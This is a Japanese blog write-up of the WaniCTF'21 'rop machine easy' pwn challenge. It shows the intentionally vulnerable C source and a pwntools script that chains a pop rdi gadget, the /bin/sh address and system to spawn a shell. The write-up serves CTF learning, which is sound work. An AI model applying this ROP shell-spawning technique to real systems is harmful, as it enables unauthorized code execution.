LoginSignup
0
0

More than 1 year has passed since last update.

WaniCTF'21-spring pwn 03 rop machine easy Writeup

Last updated at Posted at 2021-05-19

WaniCTF'21-spring pwn 03 rop machine easy

問題

nc rop-easy.pwn.wanictf.org 9003
ropでsystem("/bin/sh")を実行して下さい。
"/bin/sh"のアドレスは提供されています
rop machineの使い方->wani-hackase/rop-machine

配布データ

pwn03
pwn03.c
pwn03.c
#include <malloc.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

char* name_gadgets[16];
u_int64_t addr_gadgets[16];
char binsh[] = "/bin/sh";

void rop_pop_rdi();
void rop_syscall();

void init() {
  alarm(300);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
}

void create_gadgets_table() {
  name_gadgets[0] = "execute";
  name_gadgets[1] = "push value";
  name_gadgets[2] = "pop rdi; ret";
  name_gadgets[3] = "system";

  addr_gadgets[0] = 0;
  addr_gadgets[1] = 0;
  addr_gadgets[2] = ((u_int64_t)rop_pop_rdi) + 8;
  addr_gadgets[3] = ((u_int64_t)system);
}

void rop_pop_rdi() {
  __asm__(
      "pop %rdi\n\t"
      "ret\n\t");
}

char* get_rop_name(u_int64_t addr) {
  int i;
  for (i = 0; i < 7; i++) {
    if (addr_gadgets[i] == 0) {
      continue;
    }

    if (addr_gadgets[i] == addr) {
      return name_gadgets[i];
    }
  }

  return NULL;
}

void print_menu() {
  printf("\n\"%s\" address is %p\n", binsh, binsh);
  printf(
      "\n[menu]\n"
      "1. append hex value\n"
      "2. append \"pop rdi; ret\" addr\n"
      "3. append \"system\" addr\n"
      "8. show menu (this one)\n"
      "9. show rop_arena\n"
      "0. execute rop\n");
}

u_int64_t get_uint64() {
  char buf[64];
  u_int64_t ret;
  ret = read(0, buf, 63);
  buf[ret] = 0;
  ret = strtoul(buf, NULL, 16);
  return ret;
}

u_int64_t menu() {
  u_int64_t ret;

  printf("> ");
  ret = get_uint64();
  return ret;
}

void show_arena(u_int64_t* rop_arena, int index) {
  int i;
  puts("     rop_arena");
  puts("+--------------------+");
  for (i = 0; i < index; i++) {
    char* name = get_rop_name(rop_arena[i]);
    if (name != NULL) {
      printf("| %-18s |", name);
    } else {
      printf("| 0x%016lx |", rop_arena[i]);
    }

    if (i == 0) {
      printf("<- rop start");
    }

    printf("\n");
    puts("+--------------------+");
  }
}

void rop_machine() {
  u_int64_t rop_arena[128];
  u_int64_t* top = rop_arena;
  int index = 0;
  u_int64_t ret;

  print_menu();

  while (1) {
    int cmd = menu();
    switch (cmd) {
      case 1:
        printf("hex value?: ");
        ret = get_uint64();
        rop_arena[index] = ret;
        index++;
        printf("0x%016lx is appended\n", ret);
        break;
      case 2:
      case 3:
        rop_arena[index] = addr_gadgets[cmd];
        printf("\"%s\" is appended\n", name_gadgets[cmd]);
        index++;
        break;
      case 8:
        print_menu();
        break;
      case 9:
        show_arena(rop_arena, index);
        break;
      case 0:
        show_arena(rop_arena, index);
        {
          register u_int64_t rsp asm("rsp");
          rsp = (u_int64_t)rop_arena;
          __asm__("ret");
          exit(0);
        }
      default:
        puts("bye beginner!!\n");
        exit(1);
        break;
    }
  }
}

int main() {
  init();
  create_gadgets_table();
  rop_machine();
}

ソリューション

とりあえず動かしてみる

# ./pwn03

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "system" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
レジスタ
RDI "/bin/sh"のアドレス

でsystemに飛ばせばokぽい

スタック設計図

+--------------------+
| pop rdi; ret       |
+--------------------+
| "/bin/sh"          |
+--------------------+
| system             |
+--------------------+
pwn03.py
# coding: UTF-8

# WaniCTF'21-spring pwn 03 rop machine easy

from pwn import *
import pwn 

#io = pwn.remote("rop-easy.pwn.wanictf.org", 9003)
io = pwn.process("./pwn03")


# leak
io.recvuntil("address is 0x")
binsh = int(io.recvline(), 16)


ret = io.readuntil("> ")
print(ret)
io.sendline("2")

ret = io.readuntil("> ")
print(ret)
io.sendline("1")

ret = io.readuntil("hex value?: ")
print(ret)
io.sendline(hex(binsh))

ret = io.readuntil("> ")
print(ret)
io.sendline("3")

ret = io.readuntil("> ")
print(ret)
io.sendline("9")

ret = io.readuntil("> ")
print(ret)
io.sendline("0")

io.interactive()

ビンゴ

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0